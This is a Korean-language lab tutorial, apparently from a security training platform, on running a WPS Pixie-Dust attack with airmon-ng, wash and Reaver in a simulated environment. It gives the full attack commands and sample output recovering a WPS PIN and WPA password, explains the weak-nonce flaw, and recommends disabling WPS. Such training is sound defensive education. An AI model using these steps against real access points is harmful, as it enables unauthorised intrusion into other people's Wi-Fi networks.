Reaver 를 사용하여 WPS Pixie-Dust 공격 실행하기

Beginner
지금 연습하기

소개

Wi-Fi Protected Setup (WPS) 는 장치를 안전한 무선 네트워크에 쉽게 연결하도록 설계된 기능입니다. 그러나 WPS 의 특정 구현에는 악용될 수 있는 치명적인 취약점이 포함되어 있습니다. Pixie-Dust 공격은 일부 무선 액세스 포인트가 WPS 핸드셰이크 중에 난수 (nonce) 를 생성하는 방식의 결함을 목표로 합니다. 몇 시간이 걸릴 수 있는 표준 무차별 대입 공격과 달리, 성공적인 Pixie-Dust 공격은 몇 초 안에 WPS PIN 및 WPA/WPA2 비밀번호를 복구할 수 있습니다.

이 실습에서는 침투 테스터의 역할을 맡아 이 공격이 어떻게 작동하는지 배우게 됩니다. aircrack-ng 스위트와 Reaver의 도구를 사용하여 취약한 대상을 식별하고 시뮬레이션된 환경에서 Pixie-Dust 공격을 실행합니다. 이를 통해 강력한 Wi-Fi 해킹 기술에 대한 실질적인 이해를 얻을 수 있습니다.

Pixie-Dust 공격에 취약한 대상 식별 (wash 스캔 사용)

이 단계에서는 WPS 가 활성화된 주변 Wi-Fi 네트워크를 스캔하는 것부터 시작합니다. 이를 위해 먼저 무선 인터페이스를 "모니터 모드 (monitor mode)"로 전환해야 합니다. 모니터 모드는 장치에 할당된 트래픽뿐만 아니라 공기 중에 있는 모든 Wi-Fi 트래픽을 캡처할 수 있도록 합니다. airmon-ng 도구가 이 목적으로 사용됩니다.

wlan0 인터페이스에서 모니터 모드를 활성화하는 것부터 시작하겠습니다. 실제 시나리오에서는 일반적으로 wlan0mon이라는 새 가상 인터페이스가 생성됩니다.

sudo airmon-ng start wlan0

wlan0mon이라는 새 인터페이스에서 모니터 모드가 활성화되었음을 확인하는 출력이 표시되어야 합니다.

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)

이제 모니터 모드에 있는 인터페이스가 있으므로 wash 도구를 사용하여 WPS 가 활성화된 액세스 포인트 (AP) 를 스캔할 수 있습니다. wash는 감지된 모든 WPS 네트워크와 해당 네트워크에 대한 중요한 정보를 나열합니다.

모니터 인터페이스에서 스캔을 시작하려면 다음 명령을 실행합니다.

sudo wash -i wlan0mon

잠시 후 wash는 네트워크 목록을 표시합니다.

Wash v1.6.5 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID               Ch  WPS Version  WPS Locked  ESSID
----------------------------------------------------------------
00:11:22:33:44:55   6   1.0          No          VulnerableAP
AA:BB:CC:DD:EE:FF   1   1.0          Yes         SecuredAP

이 출력에서 대상을 찾습니다. Pixie-Dust 공격에 이상적인 대상은 WPS LockedNo인 대상입니다. 이 경우 ESSID 가 VulnerableAP이고 BSSID 가 00:11:22:33:44:55인 네트워크가 대상입니다. 다음 단계에서 필요하므로 해당 BSSID 를 기록해 둡니다.

-K 또는 --pixie-dust 매개변수를 사용하여 Reaver 시작

이 단계에서는 Reaver를 사용하여 공격을 시작할 준비를 합니다. Reaver 는 WPA/WPA2 암호를 복구하기 위해 WPS 등록자 PIN 에 대한 무차별 대입 공격을 수행하도록 특별히 설계된 도구입니다.

그러나 Reaver 에는 훨씬 더 빠른 Pixie-Dust 공격을 위한 특별 모드도 있습니다. 이 모드를 활성화하려면 -K 또는 --pixie-dust 명령줄 인수를 사용해야 합니다. 이 인수가 사용되면 Reaver 는 먼저 Pixie-Dust 공격을 시도합니다. 대상 AP 가 취약하지 않은 경우 Reaver 는 기존의 느린 무차별 대입 방식으로 되돌아갈 수 있습니다.

Pixie-Dust 공격을 위한 Reaver 명령의 기본 구조는 다음과 같습니다.

sudo reaver -i <monitor_interface> -b <target_bssid> -K

  • sudo reaver: 루트 권한으로 Reaver 도구를 실행합니다.
  • -i <monitor_interface>: 모니터 모드에 있는 네트워크 인터페이스를 지정합니다 (예: wlan0mon).
  • -b <target_bssid>: 대상 액세스 포인트의 BSSID(MAC 주소) 를 지정합니다.
  • -K: Reaver 에게 Pixie-Dust 공격을 수행하도록 지시하는 중요한 스위치입니다.

이 단계는 명령의 구조를 이해하는 데 중점을 둡니다. 다음 단계에서는 이 지식과 wash 스캔에서 수집한 정보를 결합하여 전체 명령을 실행합니다.

대상 BSSID 및 모니터 인터페이스 지정

이제 모든 것을 종합하여 공격을 시작할 시간입니다. 대상 BSSID 를 식별했으며 Reaver 를 사용한 Pixie-Dust 공격에 대한 명령 구조를 알고 있습니다.

1 단계에서 기억할 사항:

  • 모니터 인터페이스: wlan0mon
  • 대상 BSSID: 00:11:22:33:44:55

이제 전체 Reaver 명령을 구성합니다. -vv (매우 상세한) 옵션도 추가합니다. 이 옵션은 Pixie-Dust 공격의 핵심인 논스 (nonces) 와 해시 (hashes) 를 포함한 WPS 교환에 대한 자세한 정보를 표시하므로 강력히 권장됩니다. 이 출력은 공격이 작동하는 방식을 이해하는 데 필수적입니다.

터미널에서 다음 명령을 실행하여 공격을 시작합니다.

sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -K -vv

Reaver 는 이제 대상 액세스 포인트와 통신을 시작합니다. WPS 핸드셰이크 진행 상황을 나타내는 일련의 메시지가 표시됩니다. 시뮬레이션 환경에서 대상이 취약하므로 공격은 매우 빠르게 진행될 것입니다.

Pixie-Dust 가 약한 논스 생성을 악용하는 방식 이해하기

이 단계에서는 Reaver 명령의 출력을 분석하여 Pixie-Dust 공격의 메커니즘을 이해합니다. 이것은 실행할 새로운 명령이 없는 개념적인 단계입니다.

이전 단계에서 Reaver 가 생성한 상세 출력을 살펴보세요. [P]로 시작하는 줄이 표시되어야 하며, 이는 WPS 교환 중에 캡처된 값을 표시합니다.

...
[+] Sending M1 message
[+] Received M2 message
[P] E-S1: d3b25a26a713c1b2
[P] E-S2: 1a84a5e22236aebd
[P] PKE: c1...e2
[P] PKR: 3a...b1
[P] E-Hash1: 7d...c3
[P] E-Hash2: 9f...a5
[P] AuthKey: 8c...99
...

다음은 작동 방식입니다.

  1. WPS 핸드셰이크: 클라이언트 (Reaver) 와 AP 는 인증을 위해 일련의 메시지 (M1, M2 등) 를 교환합니다.
  2. 논스 교환: 이 핸드셰이크 중에 한 번만 사용되는 크고 무작위적인 숫자여야 하는 "논스"(E-S1E-S2) 를 교환합니다.
  3. 취약점: Pixie-Dust 취약점은 이러한 논스를 약하거나 예측 가능한 알고리즘을 사용하여 생성하는 AP 에 존재합니다. 실제로 무작위인 대신 논스는 PIN 을 크랙하는 데 사용할 수 있는 비밀에서 파생되거나 밀접하게 관련되어 있습니다.
  4. 오프라인 크래킹: Reaver 는 AP 에서 두 개의 논스 (E-S1, E-S2) 와 두 개의 해시 (E-Hash1, E-Hash2) 를 캡처합니다. 이 네 가지 값을 사용하면 오프라인 계산을 수행하기에 충분한 정보가 있습니다. AP 에 더 이상 요청을 보낼 필요 없이 로컬 머신에서 PIN 을 무차별 대입합니다.

크래킹 프로세스는 오프라인으로 수행되고 논스 생성의 수학적 약점을 악용하기 때문에 AP 의 속도 제한 방어를 우회하고 거의 즉시 올바른 PIN 을 찾습니다.

PIN 및 키의 거의 즉각적인 복구를 관찰하기

이 마지막 단계에서는 공격의 성공적인 결과를 관찰합니다. Reaver 가 오프라인 계산을 수행한 후 복구된 자격 증명을 표시합니다.

3 단계의 Reaver 출력 마지막 부분은 다음과 같아야 합니다.

...
[+] Pixie-Dust attack...
[+] 100.00% complete @ 2023-10-27 10:30:00 (0 seconds remaining)
[+] WPS PIN: '12345670'
[+] WPA PSK: 'SuperSecretPassword'
[+] AP SSID: 'VulnerableAP'

복구된 정보를 분석해 보겠습니다.

  • WPS PIN: '12345670': 이것은 라우터의 WPS 기능에 대한 8 자리 PIN 입니다. 이 PIN 을 사용하여 다른 WPS 지원 장치를 네트워크에 연결할 수 있습니다.
  • WPA PSK: 'SuperSecretPassword': 이것은 네트워크의 실제 Wi-Fi 비밀번호인 WPA/WPA2 사전 공유 키 (Pre-Shared Key) 입니다. 이것이 공격의 궁극적인 목표입니다.
  • AP SSID: 'VulnerableAP': 이것은 성공적으로 침해한 네트워크의 이름을 확인합니다.

가장 주목할 만한 점은 속도입니다. 출력에서 "0 seconds remaining"을 주목하세요. 핸드셰이크 시작부터 키 복구까지 전체 프로세스는 몇 초밖에 걸리지 않았습니다. 이는 AP 가 여러 번의 실패한 시도 후 WPS 를 잠그는 경우 몇 시간 또는 불가능할 수도 있는 기존 WPS 무차별 대입 공격과 극명한 대조를 이룹니다. 이제 WPS Pixie-Dust 공격의 효과를 성공적으로 입증했습니다.

요약

이 실습에서는 시뮬레이션 환경에서 WPS Pixie-Dust 공격을 성공적으로 실행했습니다. 필수 Wi-Fi 보안 평가 도구 및 개념에 대한 실습 경험을 쌓았습니다.

다음을 배웠습니다.

  • airmon-ng를 사용하여 무선 인터페이스에서 모니터 모드를 활성화합니다.
  • wash를 사용하여 WPS 지원 액세스 포인트를 스캔하고 식별합니다.
  • Reaver 에서 -K (--pixie-dust) 플래그의 목적을 이해합니다.
  • 대상의 BSSID 를 지정하여 reaver를 사용하여 대상 Pixie-Dust 공격을 실행합니다.
  • 출력을 해석하여 공격이 약한 논스 생성을 어떻게 악용하는지 이해합니다.
  • WPS PIN 과 WPA PSK 모두의 거의 즉각적인 복구를 관찰합니다.

이 실습은 중요한 실제 취약점을 강조합니다. 이 공격 및 기타 WPS 관련 공격에 대한 가장 효과적인 방어는 라우터 관리 설정에서 WPS 기능을 완전히 비활성화하는 것입니다.